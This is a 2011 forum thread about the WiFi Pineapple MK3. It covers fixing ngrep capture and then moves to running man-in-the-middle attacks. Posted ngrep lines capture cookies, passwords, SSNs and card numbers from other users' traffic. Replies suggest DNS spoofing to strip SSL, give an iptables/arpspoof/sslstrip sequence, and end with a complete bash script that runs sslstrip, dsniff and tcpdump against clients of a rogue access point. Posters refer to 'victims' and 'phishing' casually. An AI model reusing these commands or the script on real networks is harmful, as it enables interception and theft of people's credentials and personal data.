Ngrep No Longer Capturing.

[hfam]

Hoping someone can help. ngrep no longer seems to be capturing.

- The web interface shows updates for all other items, but no ngrep info at all

- connected with PuTTY, went to /tmp, saw ngrep.log was 1 byte.

- opened ngrep.log with vi and there's nothing there, just ~

- copied ngrep.log to ngrepold.log, deleted ngrep.log, restarted ngrep (no change), then rebooted the MK3

So, it appears that ngrep isn't capturing any data anymore.

I've looked at the commands on the advanced page, tried commenting in each, saving the conf, restarting ngrep and rebooting the MK3. Can't get it to capture any data.

here are the command lines as they are shown on the advanced page of my web interface:

----copypasta begin-----

#!/bin/sh

# Capture Cookies

ngrep -q -d eth0 -W byline -i 'Cookie:' dst host not 172.16.42.1 >> /tmp/ngrep.log

# ngrep -q -d eth0 -W byline -O /tmp/ngrep.pcap -i 'cookie:' tcp and port 80 and dst host not 172.16.42.1 >> /tmp/ngrep.log

# Capture Social Security Numbers

# ngrep -q -d eth0 -W single -w '[0-9]{3}\-[0-9]{2}\-[0-9]{4}' dst host not 172.16.42.1 >> /tmp/ngrep.log

# Capture Credit Card Numbers

# ngrep -q -d eth0 -W single '[0-9]{4}\-[0-9]{4}\-[0-9]{4}\-[0-9]{4}' dst host not 172.16.42.1 >> /tmp/ngrep.log

# Capture Passwords

# ngrep -q -d eth0 -W single -i 'password' dst host not 172.16.42.1 >> /tmp/ngrep.log

-----copypasta end-----

This was capturing cookies and displaying the data out of the box.

This appears to have started when I used the "Clear Pineapple Cache" button.

I did this to make sure the web interface would be showing me new/fresh data, because I wanted to see how it would display passwords instead of cookies.

So, i cleared cache, then I commented the cookie line, uncommented the password line, save, then restarted. Wanted to play with it and see how/when it would capture "password" info, assumed this was the way to do that.

It never did work after that. I recommented the password line, uncommented the cookie line, and still nothing.

I've tried both cookie lines. Nothing.

Sorry for the verbose post, but I wanted to include all the data, hoping someone can assist.

Any suggestions I can try, or things to look at?

Thanks, I've burned about 2 hours on this now just trhing to get my ngrep back, to no avail. frustrated. :(

Edited December 3, 2011 by hfam

[hfam]

I'm tempted to restore the default settings, but I'm terrified to "restore defaults", I don't want anything else to go wrong or end up screwing something up and not being able to get it back.

Anyone got any ideas? Logs I could provide? Configs to check? I've got PuTTY, just spell it out for me.

I honestly don't know what could have gone wrong, the ONLY thing I did aside from power it up and watch the status page was clear the cache (using the button), and uncomment the one line/comment the other, and save the config. I did this in the Configuration page in the web interface.

It worked initially, showing cookie info...a LOT of cookie info...but the command line was in that output too I noticed.

Anyhow, I've checked and it's not outputting any data to /tmp/ngrep.log

It creates the file. It's not there upon a boot, and creates the file when starting "ngrep" in the Status page.

It never updates the file, it's always at 1 byte.

Hell, I'll do the "restore defaults" and redo the 1.0.2 update if someone can reasonably assure me that it won't brick my sweet new MK3.

Seriously, any help would be greatly appreciated, I'm losing my mind. :)

Thanks

[hfam]

Alright, I bit the bullet and did a "restore defaults".

Rebooted.

It appears that "restore defaults" doesn't reset everything, as ngrep is still not logging any data.

The configuration is still exactly as it was in my first post.

Nothing changed, and everything else is working great, just this ngrep not logging issue. :(

Edited December 3, 2011 by hfam

[hfam]

"Paging Mr. Kitchen...Mr. Kitchen, line one please, Mr. Kitchen, line one."

Anyone? I'm really stuck here. Literally nothing has been changed except to uncomment/recomment in the ngrep settings on the Configuration page, but it will not log anything. Creates the ngrep.log file, but it remains at 1 byte mo matter which options I choose in the ngrep configure.

[hfam]

I feel like I can conquer the world!! I FIXED IT!!!!!!!!

However, it appears that there is a process that needs to be addressed and this could reoccur.

The problem was that the "ngrep.sh" file, just like the Karma issue, somehow wound up with a "control-N" at the end of each line!!!!

Before I went in with VI to attempt a fix, I copied it to ngrepold.sh (to make sure I could get back to square one), opened ngrep.sh in VI, removed every "control-N" from the end of each line, commented all "ngrep" command lines but left the SECOND one uncommented (utilizes a .pcap file), then I saved it, and rebooted the MK3.

WINNING!! Fired up the droid, opened some browsers which require logins, and VOILA!! COOKIE INFO!!

So, there is definitely something that's buggy and needs to be fixed with regard to editing the files. I'm going to suspect it's whatever the web interface uses on that Configuration page that injects the "control-N" at the end of each line.

I'm learning SOOOO much with this thing, getting back into linux is awesome...like riding a bike! :)

Hope this helps anyone else with the problem that may arise.

Darren? Is this an issue with the editing process that the web interface uses? that's where my trouble started, by editing the "ngrep" conf commenting in that interface.

Anyhow, I'm so glad this is resolved!!!

NOW back to what appears to be my device stopping/rebooting every 10-15 minutes once I start the ngrep process.

[allisonmagic]

i wonder if they could incorporate sslstrip into the jasager interface. ngrep doesn't capture secured pages

[F1r3B4llH4X0r]

Not much need for ssl strip if you consider the fact that DNS spoofer is built in. So if you are trying to obtain data from a SSL site you could just use the DNS spoofer to redirect to an unsecured landing page that will send the data over the wire in plain text.

[MDauer]

disregard my last post.

I somehow got it all working. I had to SSH into the box, and I completely deleted and re-wrote the ngrep file. Then I deleted to empty log from the tmp directory, restarted and it worked perfectly.

This post helped a lot.

Thank you sir

Edited December 5, 2011 by MDauer

[hfam]

disregard my last post.

I somehow got it all working. I had to SSH into the box, and I completely deleted and re-wrote the ngrep file. Then I deleted to empty log from the tmp directory, restarted and it worked perfectly.

This post helped a lot.

Thank you sir

No worries brother, glad you got it up and going! I'm betting that there were those pesky "control-N"s at the end of each line. Deleting and re-writing it while in SSH probably did the trick.

I think there's something buggy with the web interface and writing changes to those files, but I don't know for certain. I DO know that those "control-N"s were in there though, and removing them fixed the issue, and that ultimately was the same issue from v1.0.1 with Karma not starting.

I'm just going to make sure I use vi from now on to edit those files and I suspect it'll all work out fine.

Take care, happy phishing! :)

[Darren Kitchen]

I feel like I can conquer the world!! I FIXED IT!!!!!!!!

However, it appears that there is a process that needs to be addressed and this could reoccur.

The problem was that the "ngrep.sh" file, just like the Karma issue, somehow wound up with a "control-N" at the end of each line!!!!

Before I went in with VI to attempt a fix, I copied it to ngrepold.sh (to make sure I could get back to square one), opened ngrep.sh in VI, removed every "control-N" from the end of each line, commented all "ngrep" command lines but left the SECOND one uncommented (utilizes a .pcap file), then I saved it, and rebooted the MK3.

WINNING!! Fired up the droid, opened some browsers which require logins, and VOILA!! COOKIE INFO!!

So, there is definitely something that's buggy and needs to be fixed with regard to editing the files. I'm going to suspect it's whatever the web interface uses on that Configuration page that injects the "control-N" at the end of each line.

I'm learning SOOOO much with this thing, getting back into linux is awesome...like riding a bike! :)

Hope this helps anyone else with the problem that may arise.

Darren? Is this an issue with the editing process that the web interface uses? that's where my trouble started, by editing the "ngrep" conf commenting in that interface.

Anyhow, I'm so glad this is resolved!!!

NOW back to what appears to be my device stopping/rebooting every 10-15 minutes once I start the ngrep process.

Glad you got it fixed. I didn't notice the ^M's in that file before. Will go back and check the other pineapples. Thankfully it shouldn't come back once the 1.0.2 patch is applied.

As for the rebooting it has to do with memory on the device. Depending on the complexity of the ngrep expression the device will hang. This is a known issue. I've reliably gotten it to work for hours with short expressions, but the more data the quicker things will up. I'm hoping that a cleanup process can be written but as is that feature is somewhat experimental. =/

[Darren Kitchen]

i wonder if they could incorporate sslstrip into the jasager interface. ngrep doesn't capture secured pages

Unfortunately there just isn't enough space on the device to install python and all the dependencies in order to get sslstrip going locally. You can still run it from the machine hosting the internet connection.

[Darren Kitchen]

Not much need for ssl strip if you consider the fact that DNS spoofer is built in. So if you are trying to obtain data from a SSL site you could just use the DNS spoofer to redirect to an unsecured landing page that will send the data over the wire in plain text.

Absolutely B)

[allisonmagic]

Absolutely B)

yah both of you are right. i was looking into it after i posted that question and i can just run my sniffers and sslstrip or whatever mitm directly from my computer. i like how you dont need to have any of the tools on the pineapple itself. im already at ip level acccess on the network so i can just dive right in. dude, im havin lots of fun with this thing, you guys are awesome lol

[hfam]

Glad you got it fixed. I didn't notice the ^M's in that file before. Will go back and check the other pineapples. Thankfully it shouldn't come back once the 1.0.2 patch is applied.

As for the rebooting it has to do with memory on the device. Depending on the complexity of the ngrep expression the device will hang. This is a known issue. I've reliably gotten it to work for hours with short expressions, but the more data the quicker things will up. I'm hoping that a cleanup process can be written but as is that feature is somewhat experimental. =/

Hi Darren!

Thanks for the reply!

Funny thing, this happened after I'd applied 1.0.2. ngrep worked "out of the box" just fine when I enabled it, but I'd cleared cache and changed the comments around in the "preconfigured" ngrep statements (cookies was uncommented by default, wanted to see how effective the password statement was). I performed those changes in the web interface, and I suspect that's what ended up putting those ^M's in there.

I've been busy for the past few days, but I'll fire it back up tonight and confirm that it's not putting them back in there. May have just been a goofy fluke, but I'll confirm tonight.

I'm having a LOT of fun, and not afraid of a challenge, so no worries there!

Thanks for clearing up the ngrep reboot/hang issue too. Understand about the developing cleanup process. I'm just glad you, seb, etc, are all out here doing what you do, thanks millions!

BTW: n00b to the show. Put up a Roku2 (dumped CableTV), discovered the Revision3 "channel", discovered Hak5, and the rest is history! :) LOVE the show, and thanks again for the overwhelming awesomeness! I think I bought one of everything that runs on power from the hakshop (thanks to Snubsie for getting my stuff out so quickly, still waiting on the Duckie!!) I have a 15 year old "treat" I have to dig out of storage and send you for the show. :)

Keep up the great work, brother!

[abbie100]

I feel like I can conquer the world!! I FIXED IT!!!!!!!!

However, it appears that there is a process that needs to be addressed and this could reoccur.

The problem was that the "ngrep.sh" file, just like the Karma issue, somehow wound up with a "control-N" at the end of each line!!!!

Before I went in with VI to attempt a fix, I copied it to ngrepold.sh (to make sure I could get back to square one), opened ngrep.sh in VI, removed every "control-N" from the end of each line, commented all "ngrep" command lines but left the SECOND one uncommented (utilizes a .pcap file), then I saved it, and rebooted the MK3.

WINNING!! Fired up the droid, opened some browsers which require logins, and VOILA!! COOKIE INFO!!

So, there is definitely something that's buggy and needs to be fixed with regard to editing the files. I'm going to suspect it's whatever the web interface uses on that Configuration page that injects the "control-N" at the end of each line.

I'm learning SOOOO much with this thing, getting back into linux is awesome...like riding a bike! :)

Hope this helps anyone else with the problem that may arise.

Darren? Is this an issue with the editing process that the web interface uses? that's where my trouble started, by editing the "ngrep" conf commenting in that interface.

Anyhow, I'm so glad this is resolved!!!

NOW back to what appears to be my device stopping/rebooting every 10-15 minutes once I start the ngrep process.

hi

I was wondering the location of the ngrep.sh in the pineapple after you ssh into it.

I tried looking in the etc, bin directory but cannot find it.

can you please specify the location

thanks

abbie

[itsm0ld]

hi

I was wondering the location of the ngrep.sh in the pineapple after you ssh into it.

I tried looking in the etc, bin directory but cannot find it.

can you please specify the location

thanks

abbie

I dont remember the exact location but you can find it by issuing the command:

find / -name ngrep.sh

[hfam]

hi

I was wondering the location of the ngrep.sh in the pineapple after you ssh into it.

I tried looking in the etc, bin directory but cannot find it.

can you please specify the location

thanks

abbie

IIRC it's in /www/pineapple, but it's been a few days since I was mucking about with it.

Look there, I'll confirm tonight and stop back here.

[Sebkinne]

IIRC it's in /www/pineapple, but it's been a few days since I was mucking about with it.

Look there, I'll confirm tonight and stop back here.

This is correct.

[hfam]

This is correct.

Thanks seb, sorry to the poster in question, I knew I was forgetting to do something yesterday! :)

On that note, in the latest firmware flash (v1.9), ALL included ngrep examples are commented out by default.

This isn't a problem, just good for all to note that snapping on ngrep from the main page will result in 0 results.

You must go and uncomment the appropriate line in the config file, or add your own, as well as turning on ngrep.

The good news is that the ^M issue appears to have gone away (but I'll be keeping a close eye on it if I ever again use the GUI to edit the configs, just to be sure).

Thanks again seb, amazing work! Noticed a lot of fixes and tweaks in this latest version...WiFi light is working on AP51, reboot button included (though it still just hangs and never does reboot), lots of other small but important fixes...you're the man!

[diggler]

Anyone else experiencing this?

Setup:

OS LION HOST OS

BT5R1 in VMWARE (ALFA USB + AP51)

ISSUE:

When running DSNIFF from Terminal on eth0 or eth1, DSNIFF gets repetitive listings of the Pineapple's webinterface username/password associations.

ASSUMPTIONS:

Am I correct in assuming that I should be running DSNIFF on the eth0 adapter and not wlan0?

MORE:

Does anyone else have any tutorials / posts / suggestions for how to run tools like SSLSTRIP / ETHERCAP / DSNIFF etc?

Many thanks...

Diggs

UPDATE 9/12/2011:

- enable wifi pineapple (flashed to v1.9) & activate karma- enable iptables (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080)- enable arpspoof (arpspoof -i eth1 172.16.42.178 172.16.42.1)- enable sslstrip (chmod +x sslstrip.py --> ./sslstrip.py -l 8080)

Edited December 10, 2011 by diggler

[itsm0ld]

Anyone else experiencing this?

Setup:

OS LION HOST OS

BT5R1 in VMWARE (ALFA USB + AP51)

ISSUE:

When running DSNIFF from Terminal on eth0 or eth1, DSNIFF gets repetitive listings of the Pineapple's webinterface username/password associations.

ASSUMPTIONS:

Am I correct in assuming that I should be running DSNIFF on the eth0 adapter and not wlan0?

MORE:

Does anyone else have any tutorials / posts / suggestions for how to run tools like SSLSTRIP / ETHERCAP / DSNIFF etc? Also, with regards to SSLSTRIP, is it even needed? I believe we are capturing traffic before it's encrypted or is that incorrect?

Many thanks...

Diggs

I replied to another of your posts but unless you are doing a phishing attack you will want SSL strip to get HTTPS passwords. Remember the traffic is encrypted between the victims browser and the website so even being MITM you need a tool like SSL strip.

[diggler]

Cool. Thanks.

What's your experience with URLSNARF been? If I run it through the webinterface it provides the proper results, however, when I run URLSNARF or DSNIFF from Terminal I get an update every second from pineapple's web GUI. Any ideas for how to prevent that from happening? Darren must have some script written on the pineapple already to prevent this from showing up.

Also, I tried getting ettercap going on BT5R1 with a lot of problems but found an article to help get it up and running properly, but it borked when I tried sniffing traffic. I'm thinking it was because of my previous IPTABLE edit for sslstrip. See below:

"- enable wifi pineapple (flashed to v1.9) & activate karma- enable iptables (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080)- enable arpspoof (arpspoof -i eth1 172.16.42.178 172.16.42.1)- enable sslstrip (chmod +x sslstrip.py --> ./sslstrip.py -l 8080)"

Any idea how to remove that line out of IPTABLES, or set it back to default?

Thanks....

I replied to another of your posts but unless you are doing a phishing attack you will want SSL strip to get HTTPS passwords. Remember the traffic is encrypted between the victims browser and the website so even being MITM you need a tool like SSL strip.

[itsm0ld]

Cool. Thanks.

What's your experience with URLSNARF been? If I run it through the webinterface it provides the proper results, however, when I run URLSNARF or DSNIFF from Terminal I get an update every second from pineapple's web GUI. Any ideas for how to prevent that from happening? Darren must have some script written on the pineapple already to prevent this from showing up.

Also, I tried getting ettercap going on BT5R1 with a lot of problems but found an article to help get it up and running properly, but it borked when I tried sniffing traffic. I'm thinking it was because of my previous IPTABLE edit for sslstrip. See below:

"- enable wifi pineapple (flashed to v1.9) & activate karma- enable iptables (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080)- enable arpspoof (arpspoof -i eth1 172.16.42.178 172.16.42.1)- enable sslstrip (chmod +x sslstrip.py --> ./sslstrip.py -l 8080)"

Any idea how to remove that line out of IPTABLES, or set it back to default?

Thanks....

If your using BT5 iptables should clear after a reboot, also since you are MITM there is no need to use arpspoof since you actually are the gateway ;)

I think arpspoof may be whats borking your tests.

EDIT: This is the cleanup part of my script for iptables

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

Edited December 10, 2011 by itsm0ld

[diggler]

Brilliant! I knew there was a benefit to being the clients AP that i just wasn't "getting". This makes so much more sense. Thanks!

Where's the rest of the script ;) ha!

If your using BT5 iptables should clear after a reboot, also since you are MITM there is no need to use arpspoof since you actually are the gateway ;)

I think arpspoof may be whats borking your tests.

EDIT: This is the cleanup part of my script for iptables

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

[itsm0ld]

Ok here is my basic script it gives me a live view of SSL Strip activity and does a full packet capture later to use with network miner, wireshark etc etc:

#!/bin/bash
#
#Pineapple script by m0ld 2011 v3
#
# IPtables setup
echo "[+] Setting IPtables"
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sleep 2

cd /root/captures/
touch sslstrip.log

# Dsniff
echo "[+] Starting Dsniff"
echo
xterm -geometry 25x15x1+625 -T Dsniff -e dsniff -i eth0 -w /root/captures/dsniff.log & dsniffid=$!
sleep 1

# Tcpdump
echo "[+] Starting TCPdump"
echo
xterm -geometry 30x15x100 -T Tcpdump -e tcpdump -ni eth0 -w /root/captures/tcpdump.pcap & tcpdumpid=$!
sleep 1

# Sslstrip
echo "[+] Starting sslstrip..."
echo
xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -p -k 10000 & sslstripid=$!
echo
xterm -geometry 75x15+1+600 -T SSLStrip-Log -e tail -f sslstrip.log & sslstriplogid=$!
sleep 2

clear

echo
echo "[+] IMPORTANT..."
echo "After you have finished please clean up properly by hitting Y"
echo  "if Pineapple is not closed properly ERRORS WILL OCCUR "
read WISH

# Clean up
if [ $WISH = "y" ] ; then
echo
echo "[+] Cleaning up"

kill ${sslstripid}   
kill ${sslstriplogid}
kill ${dsniffid} 
kill ${tcpdumpid}
sleep 1
rm dsniff.services
echo "[+] Cleaning up iptables..."
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
exit 

fi
exit

This script assumes the interface providing the internet connection is eth1

and that the interface connected via cable to the pineapple is eth0

Also you will want to create a folder /root/captures it saves the SSL strip log and the tcpdump files in this folder for later review.

If that's not the case for you simply replace the eth1, and eth0 with whatever they are in your case.

As a note this script opens several terminal windows so you can see the sslstrip log in real time, it also saves a full packet capture via tcpdump for mining later.

Lastly you will notice that it keeps the original terminal window open and tells you you need to clean up, when you are done running the script simply hit the Y key and the script will clean up and close all the terminal windows. It does NOT delete the SSL strip logs or tcpdump files stored in /root/captures however if your dont move the files or rename them before you run the script again it will overwrite them.

Test it out and let me know what you think.

Edited December 10, 2011 by itsm0ld